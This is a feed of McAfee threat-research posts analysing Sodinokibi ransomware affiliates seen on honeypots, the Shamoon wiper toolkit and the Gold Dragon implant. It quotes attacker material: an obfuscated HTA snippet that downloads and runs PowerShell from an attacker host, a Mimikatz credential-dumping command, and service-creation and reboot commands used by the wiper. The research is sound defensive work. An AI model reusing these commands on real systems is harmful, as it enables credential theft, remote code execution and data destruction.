Jessica Saavedra-Morales – McAfee Blogs https://www.mcafee.com/blogs Securing Tomorrow. Today. Wed, 25 Mar 2020 21:06:20 +0000 en-US hourly 1 https://wordpress.org/?v=5.4.1 https://www.mcafee.com/wp-content/uploads/2018/11/cropped-favicon-32x32.png Jessica Saavedra-Morales – McAfee Blogs https://www.mcafee.com/blogs 32 32 McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Crescendo https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/#respond Mon, 21 Oct 2019 04:01:24 +0000 https://securingtomorrow.mcafee.com/?p=96926

Episode 4: Crescendo This is the final installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandGrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid 2019. In this final episode of our series we will zoom in on the operations, techniques and tools used by different affiliate […]

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Episode 4: Crescendo

This is the final installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandGrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid 2019.

In this final episode of our series we will zoom in on the operations, techniques and tools used by different affiliate groups spreading Sodinokibi ransomware.

Since May we have observed several different modus operandi by different affiliates, for example:

  • Distributing the ransomware using spear-phishing and weaponized documents
  • Bat-files downloading payloads from Pastebin and inject them into a process on the operating system
  • Compromising RDP and usage of script files and password cracking tools to distribute over the victim’s network
  • Compromise of Managed Service Providers and usage of their distribution software to spread the ransomware

To understand more about how this enemy operates, we in McAfee Advanced Threat Research (ATR) decided to operate a global network of honeypots. We were aware of the lively underground trade market of RDP credentials and were curious about what someone would do with a compromised machine. Would they distribute the Sodinokibi ransomware? Would they execute the DejaBlue or BlueKeep exploits? Our specially designed and built RDP honeypots would give us those insights.

Like Moths to a Flame

From June until September 2019, we observed several groups compromise our honey pots and conduct activities related to Sodinokibi; we were able to fully monitor attackers and their actions without their knowledge.

It is important to note the golden rule we operated under: the moment criminal actions were prepared or about to be executed, the actor would be disconnected and the machine would be restored to its original settings with a new IP address.

We noticed some of our honeypot RDP servers were attacked by Persian-speaking actors that were actively harvesting credentials. Our analysis of these attacks led us to various Persian underground channels offering the same tools we observed appearing in Sodinokibi intrusions. Some of these tools are closed source and custom made, originating from within the channels in our analysis.

In this blog we will highlight a few of the intrusions we observed.

Group 1 – Unknown Affiliate ID

McAfee ATR observed initial activity against our South American honey pot begin in late May 2019. We had full visibility as the actor loaded a number of tools, including Sodinokibi, during the initial intrusion period.

The following ransom note (uax291-readme.txt) was dropped onto the system on June 10th, 2019. The actor utilized Masscan and NLBrute to scan and target other assets over RDP which fits with the behavior we have seen in all other Sodinokibi intrusions tracked by McAfee ATR. The actor then created a user account ‘backup’ and proceeded to consistently connect from an IP address range in Belgrade, Serbia.

Group 2 – Affiliate ID 34

Campaign 295 (based on sub-ID in the malware configuration)

The following Sodinokibi variant appeared in our South American honey pot with the original file name of H.a.n.n.a.exe.

  • 8d7d333574708c2fe5c37fad1bdfbc5a9664b33d (June 8th, 2019)

Extracting the configuration from the ransomware sample as we conducted during our affiliate research, the affiliate-id is nr 34.

Upon initial intrusion, the actor created several user accounts on the target system between June 10th and June 11th.  The malware Sodinokibi and credential-harvesting tool Mimikatz were executed under the user account “ibm” that the actor created as part of the entry into the system

Further information revealed that the actor was connecting from two IP addresses in Poland and Finland via the ‘ibm’ account. These logins originated from these countries in a 24hr period between July 10th and 11th with the following two unique machine names WIN-S5N2M6EGS5J and TS11. Machine name WIN-S5N2M6EGS5J was observed to be used by another actor that created the account “asp” and originated from the same Polish IP address.

The actor deployed a variant of the Mimikatz credential harvester during the intrusion, with the following custom BAT file:

We have seen a consistent usage of various custom files used to interact with hacking tools that are shared among the underground communities.

Another tool, known as Everything.exe, was also executed during the same period. This tool was used to index the entire file system and what was on the target system. This tool is not considered malicious and was developed by a legitimate company but can be used for profiling purposes. The usage of reconnaissance tools to profile the machine is interesting as it indicates potential manual lateral movement attempts by the actor on the target system.

July 20th to 30th Intrusion

Activity observed during this period utilized tools similar to those used in other intrusions we have observed in multiple regions, including those by Affiliate ID 34.

In this activity McAfee ATR identified NLBrute being executed again to target victims over RDP; a pattern we have seen over and over again in intrusions involving Sodinokibi.  A series of logins from Iran were observed between July 25th and July 30th, 2019.

We have also seen crypto currency mining apps deployed in most of the intrusions involving Sodinokibi, which may suggest some interesting side activity for these groups. In this incident we discovered a miner gate configuration file with a Gmail address.

Using Open-Source Intelligence (OSINT) investigation techniques, we identified an individual that is most likely tied to the discovered Gmail address. Based on our analysis, this individual is likely part of some Persian-speaking credential cracking crew harvesting RDP credentials and other types of data. The individual is sharing information related to Masscan and Kport scan results for specific countries that can be used for brute force operations.

ACTOR PROFILE

Further, we observed this actor on a Telegram channel discussing operations which align to the behavior we observed during intrusions on our honey pot. The data shared appears to be results from tools such as Masscan or Kport-scan that would be used to compromise further assets.

DISCUSSION OF SCANNING IN FARSI, ON PRIVATE CHANNEL

Other tools were found to have been executed the same day as the activity documented include:

  • Mimikatz

Was executed manually from the command line with the following parameters:

mimikatz.exe “privilege::debug” “sekurlsa::logonPasswords full” “exit”

  • Slayer Leecher
  • MinerGate

Group 3 – Affiliate ID 19

We observed the following Sodinokibi ransom variants attributed to this affiliate appearing in the honey pot in the Middle East. The attacker downloaded a file, ابزار کرک.zip, which can be mostly found in Farsi language private channels. The tool is basically a VPS Checker (really an RDP cracker) as discussed on the channels in the underground.

Campaign 36

Activity from June 3rd to 26th indicates that the attacker present on the system was conducting operations involving the Sodinokibi ransomware. When linking back activity, we observed one notable tool the actor had used during the operation.

‘Hidden-User.bat’ was designed to create hidden users on the target system. This tool links back to some underground distribution on Farsi-speaking private channels.

The file being shared is identical to the one we found to be used actively in the Sodinokibi case in different instances in June 2019, in different cities in the Middle East. We found the following Farsi-speaking users sharing and discussing this tool specifically (Cryptor007 and MR Amir), and others active in these groups. McAfee ATR observed this tool being used on June 13th, 2019 and June 26th, 2019 by the same actors in different regions.

HIDDEN-USER.bat

POSTED IMAGE OF THE TOOL IN USE

These Sodinokibi variants are strictly appearing in Israel from our observations:

  • a3769a6748ba5d8023bcb161a5274e24d419bd36 (June 3rd, 2019)
  • bbabc23525b3852d463ef17ba7b8a2cab831e2b9 (June 11th, 2019)

We observed the actor dropping one of the above-mentioned variants of Sodinokibi. In this case, the login came from an IP address originating in Iran and with a machine with a female Persian name.

The attackers connecting are most likely Farsi-speaking, as is evident by the browsing history uncovered by McAfee ATR, which indicates where a number of the tools utilized originate from, including Farsi language file sharing sites, such as Picofile.com and Soft98.ir, that contain malicious tools such as NLBrute, etc.

FARSI LANGUAGE SITE FOUND IN BROWSING HISTORY

We observed the actor attempting to run an RDP brute force attack using NLBrute downloaded from the Iranian site Picofile.com. The target was several network blocks in Oman and the United Arab Emirates in the Middle East.

In our analysis we discovered an offer to install ransomware on servers posted in Farsi speaking on August 19th,. This posting date corresponds with the timing of attacks observed in the Middle East. The services mentioned are specifically targeting servers that have been obtained via RDP credential theft campaigns. It is possible that these actors are coming in after the fact and installing ransomware on behalf of the main organizer, according to actor chatter. One specific Farsi language message indicates these services for a list of countries where they could install ransomware for the potential client.

FARSI LANGUAGE MESSAGE FROM PERSIAN LANGUAGE CHANNEL

Tools and Methods of Group 1

The operators responsible for intrusions involving Sodinokibi variants with an unknown affiliate ID utilize a variety of methods:

  • Initial intrusions made over RDP protocol
  • Using Masscan to identify potential victims
  • Executing NLBrute with custom password lists

Tools and Methods of Group 2

The operators responsible for intrusions involving Sodinokibi variants with PID 34 utilize a variety of methods:

  • Intrusion via RDP protocol
  • Manual execution of subsequent stages of the operation
  • Deployment of Sodinokibi
  • Deployment of Mimikatz
  • Utilization of CryptoCurrency mining
  • Deployment of other brute force and checker tools
  • Running mass port scans and other reconnaissance activities to identify potential targets
  • Executing NLBrute with custom password lists
  • Some of the operators appear write in Farsi and are originating from Iranian IP address space when connecting to observed targets

Tools and Methods of Group 3

The operators responsible for intrusions involving Sodinokibi variants with PID 19 utilize a variety of methods:

  • Intrusion via RDP protocol
  • Manual execution of subsequent stages of the operation
  • Likely a cracking crew working on behalf of an affiliate
  • Deployment of Sodinokibi
  • Custom scripts to erase logs and create hidden users
  • Usage of Neshta to scan internal network shares within an organization in an effort to spread Sodinokibi
  • Running mass port scans and other reconnaissance activities to identify potential targets
  • Limited use of local exploits to gain administrative access
  • Executing NLBrute with custom password lists
  • Some of the operators appear to write in Farsi and are originating from Iranian IP address space when connecting to observed targets

Conclusion

In our blog series about Sodinokibi we began by analyzing the code we asked ourselves the question, “Why Persian?” With the information retrieved from our honeypot investigations, it might give us a hypothesis that the Persian language is present due to the involvement of Persian-speaking affiliates. Time and evidence will tell.

We observed many affiliates using different sets of tools and skills to gain profit and, across the series, we highlighted different aspects of this massive ongoing operation.

To protect your organization against Sodinokibi, make sure your defense is layered. As demonstrated, the actors we are facing either buy, brute-force or spear-phish themselves into your company or use a trusted-third party that has access to your network. Some guidelines for organizations to protect themselves include employing sandboxing, backing up data, educating their users, and restricting access.

As long as we support the ransomware model, ransomware will exist as it has for the last four years. We cannot fight alone against ransomware and have to unite as public and private parties. McAfee is one of the founding partners of NoMoreRansom.org and are supporting Law Enforcement agencies around the globe in fighting ransomware.

 

We hope you enjoyed reading this series of blogs about Sodinokibi.

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Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/#respond Wed, 19 Dec 2018 21:45:13 +0000 https://securingtomorrow.mcafee.com/?p=93278

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used […]

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Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • OCLC.exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • Spreader.exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • SpreaderPsexec.exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • SlHost.exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Directories “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: f972d776d7dabf9f978dc4cc4f69d88e715541ff
  • Spreader.exe: 0104e42d1d6522f6170ca4aa42fcbf70f7390a74
  • SpreaderPsexec.exe: cb8faa97e94c3c60b680e28eb6a2d3910d1ce466
  • Slhost.exe: 3eab7112e94f9ec1e07b9ae4696052a7cf123bba

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

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Shamoon Returns to Wipe Systems in Middle East, Europe https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/#respond Fri, 14 Dec 2018 20:32:41 +0000 https://securingtomorrow.mcafee.com/?p=93157

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims. Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can […]

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Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims.

Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can take weeks or months, while resulting in unprofitability and diminished reputation.

Recent attacks have demonstrated how big the damage can be. Last year NotPetya affected several companies around the world. Last February, researchers uncovered OlympicDestroyer, which affected the Olympic Games organization.

Shamoon is destructive malware that McAfee has been monitoring since its appearance. The most recent wave struck early this month when the McAfee Foundstone Emergency Incident Response team reacted to a customer’s breach and identified the latest variant. Shamoon hit oil and gas companies in the Middle East in 2012 and resurfaced in 2016 targeting the same industry. This threat is critical for businesses; we recommend taking appropriate actions to defend your organizations.

During the past week, we have observed a new variant attacking several sectors, including oil, gas, energy, telecom, and government organizations in the Middle East and southern Europe.

Similar to the previous wave, Shamoon Version 3 uses several mechanisms as evasion techniques to bypass security as well to circumvent analysis and achieve its ends. However, its overall behavior remains the same as in previous versions, rendering detection straightforward for most antimalware engines.

As in previous variants, Shamoon Version 3 installs a malicious service that runs the wiper component. Once the wiper is running, it overwrites all files with random rubbish and triggers a reboot, resulting in a “blue screen of death” or a driver error and making the system inoperable. The variant can also enumerate the local network, but in this case does nothing with that information. This variant has some bugs, suggesting the possibility that this version is a beta or test phase.

The main differences from earlier versions are the name list used to drop the malicious file and the fabricated service name MaintenaceSrv (with “maintenance” misspelled). The wiping component has also been designed to target all files on the system with these options:

  • Overwrite file with garbage data (used in this version and the samples we analyzed)
  • Overwrite with a file (used in Shamoon Versions 1 and 2)
  • Encrypt the files and master boot record (not used in this version)

Shamoon is modular malware: The wiper component can be reused as a standalone file and weaponized in other attacks, making this threat a high risk. The post presents our findings, including a detailed analysis and indicators of compromise.

Analysis

Shamoon is a dropper that carries three resources. The dropper is responsible for collecting data as well as embedding evasion techniques such as obfuscation, antidebugging, or antiforensic tricks. The dropper requires an argument to run.

It decrypts the three resources and installs them on the system in the %System% folder. It also creates the service MaintenaceSrv, which runs the wiper. The typo in the service name eases detection.

The Advanced Threat Research team has watched this service evolve over the years. The following tables highlight the differences:


The wiper uses ElRawDisk.sys to access the user’s raw disk and overwrites all data in all folders and disk sectors, causing a critical state of the infected machine before it finally reboots.

The result is either a blue screen or driver error that renders the machine unusable.

Overview

Dropper

Executable summary

The dropper contains other malicious components masked as encrypted files embedded in PE section.

These resources are decrypted by the dropper and contain:

  • MNU: The communication module
  • LNG: The wiper component
  • PIC: The 64-bit version of the dropper

Shamoon 2018 needs an argument to run and infect machines. It decrypts several strings in memory that gather information on the system and determine whether to drop the 32-bit or 64-bit version.

It also drops the file key8854321.pub (MD5: 41f8cd9ac3fb6b1771177e5770537518) in the folder c:\Windows\Temp\key8854321.pub.

The malware decrypts two files used later:

  • C:\Windows\inf\mdmnis5tQ1.pnf
  • C:\Windows\inf\averbh_noav.pnf

Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy.

The malware checks whether the following shares exist to copy itself and spread:

  • ADMIN$
  • C$\WINDOWS
  • D$\WINDOWS
  • E$\WINDOWS

Shamoon queries the service to retrieve specific information related to the LocalService account.

It then retrieves the resources within the PE file to drop the components. Finding the location of the resource:

Shamoon creates the file and sets the time to August 2012 as an antiforensic trick. It puts this date on any file it can destroy.

The modification time can be used as an antiforensic trick to bypass detection based on the timeline, for example. We also observed that in some cases the date is briefly modified on the system, faking the date of each file. The files dropped on the system are stored in C:\\Windows\System32\.

Before creating the malicious service, Shamoon elevates its privilege by impersonating the token. It first uses LogonUser and ImpersonateLoggedOnUser, then ImpersonateNamedPipeClient. Metasploit uses a similar technique to elevate privileges.

Elevating privileges is critical for malware to perform additional system modifications, which are usually restricted.

Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10):

If the service is already created, it changes the configuration parameter of the service with the previous configuration.

It finally finishes creating MaintenaceSrv:

The wiper dropped on the system can have any one of the following names:

 

 

Next the wiper runs to destroy the data.

Wiper

The wiper component is dropped into the System32 folder. It takes one parameter to run. The wiper driver is embedded in its resources.

We can see the encrypted resources, 101, in this screenshot:

The resource decrypted is the driver ElRawDisk.sys, which wipes the disk.

Extracting the resource:

This preceding file is not malicious but is considered risky because it is the original driver.

The wiper creates a service to run the driver with the following command:

sc create hdv_725x type= kernel start= demand binpath= WINDOWS\hdv_725x.sys 2>&1 >nul

 

The following screenshot shows the execution of this command:

 

The malware overwrites every file in c:\Windows\System32, placing the machine in a critical state. All the files on the system are overwritten.

The overwriting process:

Finally, it forces the reboot with the following command:

Shutdown -r -f -t 2

 

Once the system is rebooted it shows a blue screen:

Worm

The worm component is extracted from the resources from the dropper. Destructive malware usually uses spreading techniques to infect machines as quickly as possible.

The worm component can take the following names:

We noticed the capability to scan for the local network and connect to a potential control server:

Although the worm component can spread the dropper and connect to a remote server, the component was not used in this version.

Conclusion

Aside from the major destruction this malware can cause, the wiper component can be used independently from the dropper. The wiper does not have to rely on the main stub process. The 2018 Shamoon variant’s functionality indicates modular development. This enables the wiper to be used by malware droppers other than Shamoon.

Shamoon is showing signs of evolution; however, these advancements did not escape detection by McAfee DATs. We expect to see additional attacks in the Middle East (and beyond) by these adversaries. We will continue to monitor our telemetry and will update this analysis as we learn more.

 

MITRE ATT&CK™ matrix

Indicators of compromise

df177772518a8fcedbbc805ceed8daecc0f42fed                    Original dropper x86
ceb7876c01c75673699c74ff7fac64a5ca0e67a1                    Wiper
10411f07640edcaa6104f078af09e2543aa0ca07                   Worm module
43ed9c1309d8bb14bd62b016a5c34a2adbe45943               key8854321.pub
bf3e0bc893859563811e9a481fde84fe7ecd0684                  RawDisk driver

 

McAfee detection

  • Trojan-Wiper!DE07C4AC94A5
  • RDN/Generic.dx
  • Trojan-Wiper

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Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/ https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/#respond Fri, 02 Feb 2018 18:51:11 +0000 https://securingtomorrow.mcafee.com/?p=84156 McAfee Advanced Threat Research (ATR) recently released a report describing a fileless attack targeting organizations involved with the Pyeongchang Olympics. The attack used a PowerShell implant that established a channel to the attacker’s server to gather basic system-level data. What was not determined at that time was what occurred after the attacker gained access to the victim’s system.

The post Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems appeared first on McAfee Blogs.

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UPDATE (Feb. 12, 2018): A new variant of the original file-less implant appeared on Feb. 5, 2018, indicating the attack has resumed. The new variant has the same author and metadata as the original documents discovered in December, as well as a nearly identical implant. A key difference, however, is the attackers leveraged hacked servers is Santiago, Chile. See indicators of compromise for this update at the bottom of this post.

ORIGINAL POST (Feb. 2, 2018): McAfee Advanced Threat Research (ATR) recently released a report describing a fileless attack targeting organizations involved with the Pyeongchang Olympics. The attack used a PowerShell implant that established a channel to the attacker’s server to gather basic system-level data. What was not determined at that time was what occurred after the attacker gained access to the victim’s system.

McAfee ATR has now discovered additional implants that are part of an operation to gain persistence for continued data exfiltration and for targeted access. We have named these implants, which appeared in December 2017, Gold Dragon, Brave Prince, Ghost419, and Running Rat, based on phrases in their code.

On December 24, 2017, our analysts observed the Korean-language implant Gold Dragon. We now believe this implant is the second-stage payload in the Olympics attack that ATR discovered January 6, 2018. The PowerShell implant used in the Olympics campaign was a stager based on the PowerShell Empire framework that created an encrypted channel to the attacker’s server. However, this implant required additional modules to be executed to be a fully capable backdoor. In addition, the PowerShell implant did not contain a mechanism to persist beyond a simple scheduled task. Gold Dragon has a much more robust persistence mechanism than the initial PowerShell implant and enables the attacker to do much more to the target system. Gold Dragon reappeared the same day that the Olympics campaign began.

The Gold Dragon malware appears to have expanded capabilities for profiling a target’s system and sending the results to a control server. The PowerShell implant had only basic data-gathering capabilities—such as username, domain, machine name, and network configuration—which are useful only for identifying interesting victims and launching more complex malware against them.

Gold Dragon

Gold Dragon is a data-gathering implant observed in the wild since December 24. Gold Dragon gets its name from the hardcoded domain www.golddragon.com, which we found throughout the samples.

This sample acts as a reconnaissance tool and downloader for subsequent payloads of the malware infection and payload chain. Apart from downloading and executing binaries from the control server, Gold Dragon generates a key to encrypt data that the implant obtains from the system. This URL is not used for control; the encrypted data is sent to the server ink.inkboom.co.kr, which was used by previous implants as early as May 2017.

Gold Dragon contains elements, code, and similar behavior to implants Ghost419 and Brave Prince, which we have tracked since May 2017. A DLL-based implant created on December 21 (the same day the first malicious Olympics document appeared) was downloaded by a Gold Dragon variant created December 24. This variant was created three days before the targeted spear phishing email with the second document that was sent to 333 victim organizations. The December 24 variant of Gold Dragon used the control server nid-help-pchange.atwebpages.com, which was also used by a Brave Prince variant from December 21.

The first variants of Gold Dragon appeared in the wild in South Korea in July 2017. The original Gold Dragon had the file name 한글추출.exe, which translates as Hangul Extraction and was seen exclusively in South Korea. Five variants of Gold Dragon compiled December 24 appeared heavily during the targeting of the Olympics organizations.

Analyzing Gold Dragon

As part of its initialization, Gold Dragon:

  • Builds its imports by dynamically loading multiple APIs from multiple libraries
  • Gains debug privileges (“SeDebugPrivilege”) for its own process to read remote memory residing in other processes

The malware does not establish persistence for itself but for another component (if it is found) on the system:

  • The malware begins by looking for an instance of the Hangul word processor (HWP) running on the system. (HWP is a Korean word processor similar to Microsoft Word.)

Checking for HWP.exe in the process list.

  • If HWP.exe is found running on the system, the malware finds the currently open file in HWP by extracting the file path from the command-line argument passed to HWP.exe
  • This word file (usually named *.hwp) is copied into the temporary file path

C:\DOCUME~1\<username>\LOCALS~1\Temp\2.hwp

  • hwp is an exact copy of the file loaded into HWP.exe
  • The malware reads the contents of 2.hwp and finds an “MZ magic marker” in the file indicated by the string “JOYBERTM”

Checking for the MZ marker in the HWP file.

  • This marker indicates the presence of an encrypted MZ marker in the .hwp file and is decrypted by the malware and written to the Startup folder for the user:

C:\Documents and Settings\<username>\Start Menu\Programs\Startup\viso.exe

  • This step establishes the persistence of the malware across reboots on the endpoint
  • Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint

The malware might perform this activity for a couple of reasons:

  • Establish persistence for itself on the endpoint
  • Establish persistence of another component of the malware on the endpoint
  • Update itself on endpoint after a separate updater component downloads the update from the control server

The malware has limited reconnaissance and data-gathering capabilities and is not full-fledged spyware. Any information gathered from the endpoint is first stored in the following file, encrypted, and sent to the control server:

  • C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server:

  • Directory listing of the user’s Desktop folder using command:

cmd.exe /c dir C:\DOCUME~1\<username>\Desktop\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

